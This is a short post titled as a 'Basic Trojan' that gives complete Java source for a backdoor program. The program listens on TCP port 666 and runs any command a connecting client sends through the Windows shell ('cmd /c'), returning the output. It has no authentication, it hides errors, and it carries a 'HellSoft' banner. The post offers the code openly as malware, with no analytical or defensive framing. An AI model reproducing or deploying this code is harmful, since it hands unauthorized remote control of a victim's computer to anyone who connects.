[Java] Basic Trojan

/***
*
* @author ~Dark Wizard~
*
*/
public class BackDoor {

public static void main(String X[]){
try{
java.net.ServerSocket srv=new java.net.ServerSocket(666);
while( true ){
new Server(srv.accept());
}
}catch(Exception ex){

}
}
}

class Server implements Runnable{

java.io.BufferedReader br;
java.io.PrintWriter pw;
java.net.Socket socket;

//
public Server(java.net.Socket sock){
try{
this.socket=sock;
br=new java.io.BufferedReader(new java.io.InputStreamReader(this.socket.getInputStream()));
pw=new java.io.PrintWriter(this.socket.getOutputStream(),true);
Thread Th=new Thread(this);

Th.start();
}catch(Exception ex){

}
}

//
public void run(){
try{
pw.println();
pw.println("\t\t[ 'HellSoft' ] The Dark Future...");
pw.println();
while( !pw.checkError()){
pw.println(""+new java.util.Date()+" :\\> ");
System.out.println(""+new java.util.Date());
CMD(pw,br.readLine());
}
pw.close();
this.socket.close();
}catch(Exception ex){

}
}

private void CMD(java.io.PrintWriter PW,String cmd){
try{
java.io.InputStream in= Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream();
java.io.BufferedReader read=new java.io.BufferedReader(new java.io.InputStreamReader(in));
String line="";
while( (line=read.readLine()) != null){
PW.println("> "+line);
}
read.close();
}catch(Exception ex){

}
}
}